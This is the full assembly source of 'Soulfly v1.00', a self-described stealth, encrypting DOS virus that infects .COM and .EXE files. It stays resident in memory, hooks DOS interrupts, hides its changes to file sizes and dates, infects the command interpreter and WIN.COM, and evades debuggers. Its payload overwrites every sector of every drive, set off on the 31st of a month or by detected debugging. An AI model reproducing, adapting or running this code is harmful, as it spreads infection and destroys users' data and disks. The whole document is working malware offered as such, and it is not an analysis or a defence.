;============================================================================ ; ; ; NAME: Soulfly v1.00 ; TYPE: Full-stealth variable encrypting .COM & .EXE-infector. ; SIZE: 2000 bytes. ; OS: DOS. ; CPU: 286+ ; AUTHOR: T-2000 / [Immortal Riot]. ; E-MAIL: T2000_@hotmail.com ; DATE: December 1998 - January 1999. ; PAYLOAD: But ofcourse, disktrashing. ; ; ; - Full-stealth (network/Win95 compatible). ; - Variable encrypted in files (including hostbytes). ; - Disables stealth during execution archivers/disktools. ; - Goes resident in UMB-area if available. ; - Infects files pointed to COMSPEC and WINDIR-variables. ; - Anti-debugger/tracer/disassembler/emulator tricks. ; - Passes sanity-checks. ; - Highly destructive payload, no sector is safe. ; ; ; "I'LL MAKE YOU BLEED AND YOU'RE BLEEDING NOW!! MUTHAFUCKA!!" ; ;============================================================================ .MODEL TINY .STACK Virus_Stack .286 .CODE Virus_Stack EQU 1024 Virus_Size EQU (Virus_End - Start) Virus_Size_Mem EQU ((Virus_End_Mem - Start) + 15) / 16 Res_Check_AX EQU 0DB66h Res_Check_BX EQU 83FBh Marker_Mem_AX EQU 1112h Marker_Mem_BX EQU 1EE7h Marker_File EQU 9AEAh Century EQU 100 SHL 1 Encrypted_Size EQU (End_Encrypted - Encrypted) START: PUSH DS ; Save PSP of our host. CALL Get_Delta Anti_Disasm: DB 0EAh Get_Delta: POP DS ; Use a segment-register so ; F-Prot won't yell. MOV SI, DS SUB SI, (Anti_Disasm - Start) PUSH CS POP DS MOV AX, 0 ; Initial decryption-key. Init_Key = WORD PTR $-2 MOV BX, OFFSET End_Encrypted - 2 MOV CX, (Encrypted_Size / 2) Decrypt_Word: XOR [SI+BX], AX ; Decrypt a word. DEC BX ; Next (previous) word. DEC BX ADD AX, 0 ; Key-slider, to fuck X-Rays. Slide_Key = WORD PTR $-2 JMP Loop_Decrypt ; Reload that prefetch-que! DB 9Ah IF (($ - Start) MOD 2) EQ 1 DB -1 ENDIF Loop_Decrypt: LOOP Decrypt_Word Encrypted: CALL Anti_Debugger AND DI, CX ; Zero DI. JZ Do_Res_Check DB 0EAh Do_Res_Check: MOV AX, Res_Check_AX ; Residency-check. MOV BX, Res_Check_BX INT 21h CMP AX, Marker_Mem_AX ; We're already up there? JNE Make_Virus_TSR CMP BX, Marker_Mem_BX ; Double-check. JNE Make_Virus_TSR JMP_Exec_Host: JMP Exec_Host Make_Virus_TSR: MOV AX, 5802h ; Get UMB link state. INT 21h JC Try_Alloc_Mem CBW ; Save link state on stack. PUSH AX MOV AX, 5803h ; Link UMB-chain. PUSH AX MOV BX, 01h INT 21h JC Try_Alloc_Mem INC CX MOV AX, 5800h ; Get allocation strategy. INT 21h JC Try_Alloc_Mem PUSH AX ; Save strategy on stack. MOV AX, 5801h ; Set allocation strategy, PUSH AX ; First fit, start with UMBs. MOV BL, 80h INT 21h JC Try_Alloc_Mem INC CX Try_Alloc_Mem: MOV AH, 48h ; Try to allocate memory... MOV BX, Virus_Size_Mem INT 21h JNC Copy_Virus_Up MOV AH, 4Ah ; Get total size of block. MOV BX, 0FFFFh INT 21h MOV AH, 4Ah ; Resize block, so there's SUB BX, Virus_Size_Mem + 1 ; room for the virus. INT 21h JMP Try_Alloc_Mem Trash_Text DB 'SOULFLY, FLY FREE!', 0Ah, 0Dh, '$' Copy_Virus_Up: MOV ES, AX ; Our allocated block. DEC AX ; MCB of allocated block. MOV DS, AX MOV [DI.MCB_PSP], 08h ; Block doesn't have a PSP. MOV [DI.MCB_Program], 'CS' ; Used by the system. JCXZ Do_Copy_Up DEC CX JZ Restore_Link Restore_Alloc: POP AX ; Restore original allocation POP BX ; strategy. INT 21h Restore_Link: POP AX ; Restore UMB link state. POP BX INT 21h Do_Copy_Up: PUSH SI MOV CX, (Virus_Size / 2) ; Copy virus to allocated CLD ; segment. SEGCS REP MOVSW POP SI PUSH ES POP DS MOV Active_Switch, CX JCXZ Get_Int13h ; To confuse some analyzers. DB 9Ah Get_Int13h: MOV AX, 3513h ; Get address INT 13h for INT 21h ; payload-routine. MOV Int13h, BX ; Save it. MOV Int13h+2, ES MOV AL, 21h ; Get address INT 21h. INT 21h MOV Int21h, BX ; Save it. MOV Int21h+2, ES MOV AH, 25h ; Chain our own handler. MOV DX, OFFSET NewInt21h INT 21h CALL Infect_ComSpec Exec_Host: PUSH CS POP DS ADD SI, OFFSET Host_Bytes CALL Crypt_Header POP ES ; PSP of current process. XOR AX, AX XOR BX, BX CWD CALL Check_4_EXE ; This host is a .EXE-file? JE Exec_Host_EXE Exec_Host_COM: MOV DI, 100h - 1 ; Restore original entry- INC DI ; bytes of our host. PUSH DI MOV CL, 24 / 2 CLD REP MOVSW PUSH ES POP DS XOR SI, SI XOR DI, DI RETN Exec_Host_EXE: MOV CX, ES ; Calculate effective ADD CX, 10h ; segment. ADD [SI.Program_CS], CX ADD CX, [SI.Program_SS] PUSH ES POP DS MOV SS, CX MOV SP, CS:[SI.Program_SP] XOR CX, CX XOR DI, DI JMP DWORD PTR CS:[SI.Program_IP] Anti_Debugger: POP DI ; POP return-address. CMP BYTE PTR CS:[DI], 0CCh ; Debugger breakpoint? JE Payload CLI ; Stack-checker, to detect PUSH AX ; debuggers and single-step POP AX ; tracers such as TBClean. DEC SP DEC SP POP BX STI CMP AX, BX ; They're the same? JNE Payload ; Else fuck him over. JMP DI ; NO HOPE = NO FEAR Payload: PUSH CS POP DS PUSH CS POP ES MOV BX, OFFSET Trash_Text MOV CX, 01h MOV DX, 80h Trash_Loop: XOR AH, AH ; Reset drive. CALL OldInt13h MOV AX, 033Fh ; Trash track with garbage. CALL OldInt13h ADD CH, CL ; Take all tracks. ADC DH, 0 ; Take all heads. ADC DL, 0 ; Take all drives. PUSH DX MOV AH, 09h ; Let them know what hit 'em. MOV DX, OFFSET Trash_Text CALL OldInt21h POP DX JMP Trash_Loop IRC_Hint DB '', 0 NewInt21h: JMP $+666h Active_Switch = WORD PTR $-2 Chk_Stealth_F: CMP AH, 11h - 1 ; Findfirst (FCB) ? JBE Chk_Stealth_H CMP AH, 12h ; Findnext (FCB) ? JA Chk_Stealth_H Stealth_Size_F: CALL OldInt21h PUSHF PUSHA PUSH DS PUSH ES OR AL, AL ; Abort if error. JNZ JMP_RETF2_Exit CALL Get_DTA CMP DS:[BX.FCB_Drive], -1 ; Test for an extended FCB. JNE FCB_Format_OK ADD BX, 07h ; Coz we don't need it. FCB_Format_OK: CMP BYTE PTR DS:[BX.FCB_Date+1], AL JB RETF2_Exit SUB BYTE PTR DS:[BX.FCB_Date+1], AL SUB DS:[BX.FCB_Size], Virus_Size SBB DS:[BX.FCB_Size+2], DX JMP_RETF2_Exit: JMP RETF2_Exit Chk_Stealth_H: CMP AH, 4Eh ; Findfirst (handle) ? JB Chk_Stealth_W CMP AH, 4Fh ; Findnext (handle) ? JA Chk_Stealth_W Stealth_Size_H: CALL OldInt21h ; Execute the function. PUSHF PUSHA PUSH DS PUSH ES JC RETF2_Exit CALL Get_DTA CMP BYTE PTR DS:[BX.Handle_Date+1], AL JB RETF2_Exit SUB BYTE PTR DS:[BX.Handle_Date+1], AL SUB DS:[BX.Handle_Size], Virus_Size SBB DS:[BX.Handle_Size+2], DX JMP RETF2_Exit Chk_Stealth_W: CMP AX, 714Eh ; Findfirst (Win95) ? JB Chk_Stealth_Re CMP AX, 714Fh ; Findnext (Win95) ? JA Chk_Stealth_Re .386 ; This routine will only be ; called in Win95, which is ; 386+. Stealth_Size_W: CALL OldInt21h PUSHF PUSHA PUSH DS PUSH ES JC RETF2_Exit PUSH ES POP DS MOV DH, BYTE PTR DS:[DI.Win95_Date+1] DEC SI ; Stamp is in DOS-format? JZ Is_DOS_Format PUSH SI MOV AX, 71A7h ; Convert Win95-format to XOR BL, BL ; DOS-format. LEA SI, DS:[DI.Win95_Time] CALL OldInt21h POP SI Is_DOS_Format: CMP DH, Century ; This file is infected? JB RETF2_Exit ; Restore original filesize. SUB DS:[DI.Win95_Size_Lo], LARGE Virus_Size SBB DS:[DI.Win95_Size_Hi], 0 INC SI JZ RETF2_Exit SUB BYTE PTR DS:[DI.Win95_Date+1], Century RETF2_Exit: POP ES POP DS POPA POPF RETF 2 .286 ; Back to 80286-mode. Chk_Stealth_Re: CMP AH, 3Fh ; Read file? JE Stealth_Read JMP Chk_Seek_EOF Stealth_Read: PUSHF PUSHA PUSH DS PUSH ES MOV CS:Bytes_To_Read, CX MOV CS:Read_Buffer, DX CALL Check_Handle JS JMP_Exit_Abort JNB File_Infected JMP_Exit_Abort: JMP Exit_Abort File_Infected: CALL Save_File_Pos ADD AX, 0 ; Calculate end-position of Bytes_To_Read = WORD PTR $-2 ; the caller's read. ADC DX, CX XCHG SI, AX ; Save it in DI:SI. MOV DI, DX CALL Go_EOF SUB AX, Virus_Size ; Calculate uninfected size. SBB DX, CX CMP DI, DX ; Read reaches virusbody? JB Not_In_Body JA In_Body CMP SI, AX JNA Not_In_Body In_Body: PUSH AX PUSH DX CALL Restore_File_Pos POP DI ; Size uninfected. POP SI SUB SI, AX ; Calculate amount of bytes ; to read. MOV CX, SI JMP Do_Read Not_In_Body: MOV CX, CS:Bytes_To_Read Do_Read: PUSHA CALL Restore_File_Pos POPA MOV DX, 0 ; Do the stealthed read. Read_Buffer = WORD PTR $-2 CALL Read_File JC RETF2_Exit MOV [BP.Reg_AX], AX ; Store amount of bytes read. PUSH AX CALL Save_File_Pos PUSH AX PUSH DX PUSH DS POP ES CALL Seek_Header CALL Read_Header CALL Crypt_Header POP DX ; Position after read. POP AX POP CX SUB AX, CX ; Pos readstart SBB DX, 0 JNZ Exit_St_Read ; They read from the header? CMP AX, 24 JNB Exit_St_Read ADD CX, AX ; Calculate end-offset read. JC Header_End CMP CX, 24 JNA Read_St_Header Header_End: MOV CX, 24 Read_St_Header: SUB CX, AX ; Calculate amount of bytes ; to stealth from header. ADD SI, AX MOV DI, Read_Buffer CLD ; Copy the clean header into REP MOVSB ; the caller's buffer. Exit_St_Read: CALL Restore_File_Pos JMP_RETF2_E: JMP RETF2_Exit Restore_Abort: CALL Restore_File_Pos Exit_Abort: POP ES POP DS POPA POPF Chk_Seek_EOF: CMP AX, 4202h ; Seek to EOF ? JNE Chk_Stealth_Wr Stealth_Seek: CALL OldInt21h PUSHF PUSHA PUSH DS PUSH ES JC Exit_S_Seek CALL Check_Handle JS Exit_S_Seek JB Exit_S_Seek MOV AX, 4201h MOV CX, -1 MOV DX, -Virus_Size CALL OldInt21h MOV [BP.Reg_AX], AX MOV [BP.Reg_DX], DX Exit_S_Seek: JMP JMP_RETF2_E Chk_Stealth_Wr: CMP AH, 40h ; Write file? JNE Chk_Debugger Stealth_Write: CALL Check_Clean Chk_Debugger: CMP AX, 4B01h JNE Chk_Stealth_St Clean_File: PUSHA MOV AX, 3D92h CALL OldInt21h JC Exit_Clean_F XCHG BX, AX CALL Check_Clean MOV AH, 3Eh CALL OldInt21h Exit_Clean_F: POPA Chk_Stealth_St: CMP AX, 5700h ; Get filedate & time? JNE Chk_Disk_Tool Stealth_Stamp: CALL OldInt21h PUSHF JC Exit_Get_Stamp CMP DH, Century JB Exit_Get_Stamp SUB DH, Century Exit_Get_Stamp: POPF RETF 2 Chk_Disk_Tool: CMP AH, 1Fh ; Get default DPB ? JE Set_Inactive CMP AH, 32h ; Get DPB ? JNE Check_4_Exec Set_Inactive: MOV CS:Active_Switch, (Inactive - Active_Switch) - 2 JMP Check_4_Exec DB 9Ah Check_4_Exec: CMP AX, 4B00h ; Program execute? JE Init_Execute CMP AH, 3Dh ; Open file? JE Check_Infect CMP AX, 6C00h ; Extended open? JE Check_Infect CMP AH, 41h ; Delete file? JE Check_Infect Inactive: CMP AH, 4Ch ; Program terminate (PSP) ? JE Enable_Stealth CMP AH, 31h ; Terminate & stay resident? JE Enable_Stealth OR AH, AH ; Program terminate (CS) ? JNZ Check_4_Res Enable_Stealth: AND CS:Active_Switch, 0 Check_4_Res: CMP AX, Res_Check_AX JNE JMP_Int21h CMP BX, Res_Check_BX JE Return_Marker JMP_Int21h: DB 0EAh ; JMP FAR opcode. Int21h DW 0, 0 ; Check if the call was made by the virus, if not, call the payload. Return_Marker: PUSHA PUSH ES PUSH CS POP ES MOV DI, OFFSET Encrypted ADD SI, DI MOV CX, (Exec_Host - Encrypted) CLD REPE CMPSB POP ES POPA JE Caller_Is_OK JMP Payload Caller_Is_OK: MOV AX, Marker_Mem_AX MOV BX, Marker_Mem_BX IRET Init_Execute: PUSHA PUSH DS PUSH ES MOV AH, 2Ah ; Get system-date. CALL OldInt21h CMP DL, 31 ; 31st of any month? JB No_Activate MOV AH, 2Ch ; Get system-time. CALL OldInt21h OR CL, CL ; We're in the first minute? JNZ No_Activate JMP Payload No_Activate: MOV SI, OFFSET Archivers ; A known archiver is about CALL Scan_Line ; to get executed? JNE Exit_Init_Exec ; === Then temporarily disable stealth & infection. === MOV CS:Active_Switch, (Inactive - Active_Switch) - 1 Exit_Init_Exec: POP ES POP DS POPA Check_Infect: PUSHA PUSH DS PUSH ES CALL Anti_Debugger CALL Hook_Int24h CMP AX, 6C00h ; Extended open? JNE Check_Ext MOV DX, SI ; Then adjust register. Check_Ext: MOV SI, DX Find_End_Str: CLD ; Find end of ASCIIZ-string. LODSB OR AL, AL JNZ Find_End_Str MOV AX, [SI-2] CALL Make_Uppercase XCHG BX, AX MOV AX, [SI-4] CALL Make_Uppercase Check_Ext_COM: CMP AX, 'OC' ; .COM-extension? JNE Check_Ext_EXE CMP BL, 'M' JE Save_File_Attr Check_Ext_EXE: CMP AX, 'XE' ; .EXE-extension? JNE JMP_Exit_Inf CMP BL, AL JE Save_File_Attr JMP_Exit_Inf: JMP Exit_Infect Save_File_Attr: MOV CS:File_Name, DX ; Save filename. MOV CS:File_Name+2, DS MOV AX, 4300h ; Get file-attributes. PUSH AX CALL OldInt21h POP AX JC JMP_Exit_Inf MOV CS:File_Attr, CX ; Save 'em. INC AX ; Remove readonly-flag. AND CL, NOT 00000001b CALL OldInt21h JC JMP_Exit_Inf Open_Candidate: MOV AX, 3D92h ; Open the candidate-file. CALL OldInt21h JNC File_Opened JMP Restore_Attr File_Opened: XCHG BX, AX CALL Check_Handle JS Abort_Infect JNB Abort_Infect PUSH CS POP ES CALL Read_Header JC Abort_Infect CMP [SI.Checksum], Marker_File JE Abort_Infect Check_Min_Size: CALL Go_EOF OR DX, DX JNZ Not_Too_Small CMP AX, 560 JB Abort_Infect Not_Too_Small: CALL Check_4_EXE JE Chk_4_Overlay Check_COM: OR DX, DX JNZ Abort_Infect CMP AX, (65535 - (Virus_Size + 1024)) JB Chk_4_Inf_Date JMP Abort_Infect Chk_4_Overlay: CALL Div_512_Pages CMP AX, [SI.Image_512_Pages] JNE Abort_Infect CMP DX, [SI.Image_Mod_512] JNE Abort_Infect Check_4_NE_PE: CMP [SI.Reloc_Table], 40h ; It's a possible NE/PE-file? JB Chk_4_Inf_Date MOV AX, 4200h ; Seek to the NE/PE-header. MOV CX, [SI+3Ch+2] MOV DX, [SI+3Ch] CALL OldInt21h MOV CX, 2 LEA DX, [SI+3Ch] CALL Read_File CMP [SI+3Ch], 'EN' ; Avoid NE-files. JE Abort_Infect CMP [SI+3Ch], 'EP' ; Avoid PE-files. JE Abort_Infect Chk_4_Inf_Date: CALL Save_File_Stamp JB Infect_File Abort_Infect: JMP Close_File_Inf Infect_File: PUSH SI MOV DI, OFFSET Host_Bytes PUSH DI MOV CX, 24 / 2 CLD REP MOVSW POP SI IN AX, 40h MOV [SI.Header_Key], AX IN AX, 40h MOV [SI.Header_Slider], AX CALL Crypt_Header IN AX, 40h MOV Slide_Key, AX XCHG DX, AX IN AX, 40h MOV Init_Key, AX XOR SI, SI MOV DI, OFFSET Buffer PUSH DI MOV CX, Virus_Size PUSH CX CLD REP MOVSB MOV SI, OFFSET Buffer + ((End_Encrypted - Start) - 2) MOV CX, (Encrypted_Size / 2) Encrypt_Word: XOR [SI], AX ADD AX, DX DEC SI DEC SI LOOP Encrypt_Word CALL Go_EOF XCHG BP, AX MOV DI, DX POP CX POP DX CALL Write_File POP SI JC Close_File_Inf CALL Check_4_EXE ; We're infecting an .EXE ? JE Infect_EXE Infect_COM: SUB BP, 3 ; Calculate JMP-displacement. MOV [SI.Jump], 0E9h ; JMP opcode. MOV [SI.Displacement], BP ; Pointing to the viruscode. JMP Set_Header Infect_EXE: PUSH BP PUSH DI MOV AX, [SI.Header_Size_Mem] MOV CX, 16 MUL CX XCHG BP, AX ; Headersize in bytes. MOV DI, DX POP DX POP AX SUB AX, BP ; Calculate size of image. SBB DX, DI MOV CL, 16 ; Calculate new CS:IP. DIV CX MOV [SI.Program_CS], AX MOV [SI.Program_IP], DX ADD AX, ((Virus_Size + 15) / 16) MOV [SI.Program_SS], AX MOV [SI.Program_SP], Virus_Stack CALL Div_512_Pages MOV [SI.Image_512_Pages], AX MOV [SI.Image_Mod_512], DX ADD [SI.Min_Size_Mem], Virus_Size_Mem + (Virus_Stack / 16) ADD [SI.Max_Size_Mem], Virus_Size_Mem + (Virus_Stack / 16) JNC Set_Header SUB [SI.Max_Size_Mem], Virus_Size_Mem + (Virus_Stack / 16) Set_Header: MOV [SI.Checksum], Marker_File CALL Write_Header ADD BYTE PTR File_Date+1, Century CALL Restore_File_Stamp Close_File_Inf: MOV AH, 3Eh ; Close file. CALL OldInt21h Restore_Attr: MOV AX, 4301h - 1 ; Restore original file- INC AX ; attributes. MOV CX, 0 File_Attr = WORD PTR $-2 LDS DX, DWORD PTR CS:File_Name CALL OldInt21h Exit_Infect: CALL Unhook_Int24h POP ES POP DS POPA JMP JMP_Int21h OldInt13h: PUSHF DB 9Ah Int13h DW 0, 0 RETN Div_512_Pages: CALL Go_EOF MOV CH, 512 SHR 8 ; Divide in 512-byte pages. DIV CX OR DX, DX ; No rest? JZ Exit_Div_512 INC AX ; Else round to next 512. Exit_Div_512: RETN Author DB 'T-2000 / Immortal Riot', 0 Save_File_Stamp: MOV AX, 5700h CALL OldInt21h MOV CS:File_Time, CX MOV CS:File_Date, DX CMP DH, Century RETN Restore_File_Stamp: MOV AX, 5701h MOV CX, 0 File_Time = WORD PTR $-2 MOV DX, 0 File_Date = WORD PTR $-2 JMP OldInt21h Go_BOF: MOV AX, 4200h JMP Set_Pos Go_EOF: MOV AX, 4202h Set_Pos: XOR CX, CX CWD OldInt21h: PUSHF CALL DWORD PTR CS:Int21h RETN ; DS:DX = line. ; CS:SI = table. Scan_Line: PUSHA PUSH CS POP ES PUSH SI MOV SI, DX Find_End_Line: CLD LODSB OR AL, AL JNZ Find_End_Line DEC SI MOV CX, SI Find_Filename: STD LODSB CMP AL, '\' JE Found_Filename LOOP Find_Filename JMP Adjust_DI Found_Filename: INC SI INC SI CMP SI, DX ; No path was supplied? JA Offset_OK Adjust_DI: MOV SI, DX ; Then adjust DI. Offset_OK: MOV DI, OFFSET Filename_Buffer MOV CX, 12 PUSH DI CLD Conv_Filename: LODSB CALL Make_Uppercase STOSB LOOP Conv_Filename POP DI POP SI Comp_Filename: SEGCS LODSB CBW XCHG CX, AX CMP CX, DI ; NZ JCXZ Exit_Scan_Line PUSHA SEGCS REPE CMPSB POPA PUSHF ADD SI, CX POPF JE Exit_Scan_Line JMP Comp_Filename Exit_Scan_Line: POPA CLD RETN ; DS:SI = Header. Crypt_Header: PUSHA PUSH ES PUSH CS POP ES MOV DI, SI MOV BX, [SI.Header_Key] MOV DX, [SI.Header_Slider] MOV CL, (24 / 2) Copy_Crypt_W: CLD LODSW XOR AX, BX ROR BX, CL ADD BX, DX STOSW LOOP Copy_Crypt_W LODSW STOSW LODSW STOSW POP ES POPA RETN Archivers DB 09, 'PKZIP.EXE' DB 07, 'ARJ.EXE' DB 07, 'LHA.EXE' DB 07, 'RAR.EXE' DB 10, 'BACKUP.EXE' DB 07, 'FTP.EXE' DB 0 Get_DTA: MOV AX, 2F00h + Century CALL OldInt21h PUSH ES POP DS CWD ; Zero DX. RETN Check_Clean: PUSHF PUSHA PUSH DS PUSH ES CALL Hook_Int24h CALL Check_Handle JS Exit_Clean_H JB Exit_Clean_H CALL Save_File_Pos CALL Seek_Header CALL Read_Header CALL Crypt_Header CALL Write_Header MOV AX, 4202h MOV CX, -1 MOV DX, -Virus_Size CALL OldInt21h INC CX ; Cut-off virusbody. CALL Write_File CALL Restore_File_Pos SUB BYTE PTR File_Date+1, Century CALL Restore_File_Stamp Exit_Clean_H: CALL Unhook_Int24h POP ES POP DS POPA POPF RETN Hook_Int24h: PUSHA PUSH DS PUSH CS POP DS MOV AX, 3524h CALL OldInt21h MOV Int24h, BX MOV Int24h+2, ES MOV AH, 25h MOV DX, OFFSET NewInt24h CALL OldInt21h POP DS POPA RETN Unhook_Int24h: MOV AX, 2524h LDS DX, DWORD PTR CS:Int24h JMP OldInt21h NewInt24h: MOV AL, 03h IRET Save_File_Pos: MOV AX, 4201h XOR CX, CX CWD CALL OldInt21h MOV CS:File_Pos_Lo, AX MOV CS:File_Pos_Hi, DX RETN Restore_File_Pos: MOV AX, 4200h MOV CX, 0 File_Pos_Hi = WORD PTR $-2 MOV DX, 0 File_Pos_Lo = WORD PTR $-2 JMP OldInt21h Seek_Header: MOV AX, 4202h DEC CX MOV DX, -28 JMP OldInt21h Read_Header: PUSH CS POP DS MOV SI, OFFSET Header MOV CX, 40h MOV DX, SI CALL Read_File JC Exit_Read_Hdr CMP AX, CX Exit_Read_Hdr: RETN Read_File: MOV AH, 3Fh JMP OldInt21h Write_Header: CALL Go_BOF MOV CL, 24 ; Write updated header. MOV DX, SI Write_File: MOV AH, 40h JMP OldInt21h ; Converts characters in AX to uppercase. Make_Uppercase: CMP AL, 'a' JB Check_Upper_AH CMP AL, 'z' JA Check_Upper_AH SUB AL, 'a' - 'A' Check_Upper_AH: CMP AH, 'a' JB Exit_Uppercase CMP AH, 'z' JA Exit_Uppercase SUB AH, 'a' - 'A' Exit_Uppercase: RETN Check_Handle: XOR SI, SI MOV AX, 4400h CALL OldInt21h OR DL, DL JS Exit_Chk_File CALL Save_File_Stamp MOV BP, SP INC BP INC BP INC SI Exit_Chk_File: RETN Infect_ComSpec: PUSHA PUSH DS POP ES MOV AH, 62h ; Get current PSP. INT 21h XOR SI, SI MOV DS, BX MOV DS, DS:[SI+2Ch] Comp_Env_Var: CMP DS:[SI], CL ; End of settings reached? JZ Exit_Inf_ComSpec MOV AX, DS:[SI+5] CALL Make_Uppercase XCHG BX, AX MOV AX, DS:[SI] CALL Make_Uppercase CMP AX, 'OC' ; Look for 'COMSPEC='. JNE Test_4_Win_Dir CMP BX, 'CE' JNE Test_4_Win_Dir Found_ComSpec: MOV AX, 3D00h ; Infect command-interpreter. LEA DX, [SI+8] INT 21h Test_4_Win_Dir: CMP AX, 'IW' ; Look for 'WINDIR='. JNE Get_Next_Var CMP BX, '=R' JNE Get_Next_Var PUSH SI ADD SI, 7 MOV DI, OFFSET Filename_Buffer MOV DX, DI Copy_Byte_W_D: CLD LODSB OR AL, AL JZ Win_Dir_Copied STOSB JMP Copy_Byte_W_D Win_Dir_Copied: PUSH DS PUSH ES POP DS MOV SI, OFFSET Win95_Init MOV CL, 9 REP MOVSB MOV AH, 3Dh ; Infect WIN.COM. INT 21h POP DS POP SI Get_Next_Var: CLD Find_Next_Var: LODSB OR AL, AL JNZ Find_Next_Var JMP Comp_Env_Var Exit_Inf_ComSpec: POPA RETN DB 0EAh Check_4_EXE: CMP [SI.EXE_Mark], 'ZM' RETN Win95_Init DB '\WIN.COM', 0 IF (($ - Start) MOD 2) EQ 1 DB 0 ENDIF End_Encrypted: Host_Bytes DW 'ZM' DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW OFFSET Carrier DW 0 DW 0 DW 0 Virus_End: Int24h DW 0, 0 File_Name DW 0, 0 Header DB 40h DUP(0) Filename_Buffer DB 32 DUP(0) Buffer DB Virus_Size DUP(0) Virus_End_Mem: Carrier: MOV AX, 4C00h INT 21h ; ------------- SOME STRUCTURES --------------------------------------------- COM_Header STRUC Jump DB 0 Displacement DW 0 COM_Header ENDS EXE_Header STRUC EXE_Mark DW 0 ; Marker valid .EXE-file: MZ or ZM. Image_Mod_512 DW 0 Image_512_Pages DW 0 Reloc_Items DW 0 Header_Size_Mem DW 0 Min_Size_Mem DW 0 Max_Size_Mem DW 0 Program_SS DW 0 Program_SP DW 0 Checksum DW 0 Program_IP DW 0 Program_CS DW 0 Reloc_Table DW 0 EXE_Header ENDS Encrypt_Header STRUC DB 24 DUP(0) Header_Key DW 0 Header_Slider DW 0 Encrypt_Header ENDS Find_FN_Handle STRUC Handle_Reserved DB 21 DUP(0) Handle_Attr DB 0 Handle_Time DW 0 Handle_Date DW 0 Handle_Size DW 0, 0 Handle_Name DW 6 DUP(0) DB 0 Find_FN_Handle ENDS Find_FN_FCB STRUC FCB_Drive DB 0 FCB_Name DB 8 DUP(0) FCB_Ext DB 3 DUP(0) FCB_Attr DB 0 FCB_Reserved DB 10 DUP(0) FCB_Time DW 0 FCB_Date DW 0 FCB_Start_Clust DW 0 FCB_Size DW 0, 0 Find_FN_FCB ENDS Push_All_Stack STRUC Reg_ES DW 0 Reg_DS DW 0 Reg_DI DW 0 Reg_SI DW 0 Reg_BP DW 0 Reg_SP DW 0 Reg_BX DW 0 Reg_DX DW 0 Reg_CX DW 0 Reg_AX DW 0 Reg_Flags DW 0 Reg_Ret_Addr DW 0 Push_All_Stack ENDS Find_FN_Win95 STRUC Win95_Attr DD 0 Win95_Created DD 0, 0 Win95_Access DD 0, 0 Win95_Time DW 0 Win95_Date DW 0 DD 0 Win95_Size_Hi DD 0 Win95_Size_Lo DD 0 Win95_Reserved DB 8 DUP(0) Win95_Win_Name DB 260 DUP(0) Win95_DOS_Name DB 14 DUP(0) Find_FN_Win95 ENDS MCB_Header STRUC MCB_Type DB 0 ; M = not last block, Z = last block. MCB_PSP DW 0 ; PSP-segment of this block. MCB_Size_Mem DW 0 ; Size of block in paragraphs. MCB_Dunno DB 3 DUP(0) ; Don't care, don't need it. MCB_Program DW 4 DUP(0) ; Filename of program of this block. MCB_Header ENDS END START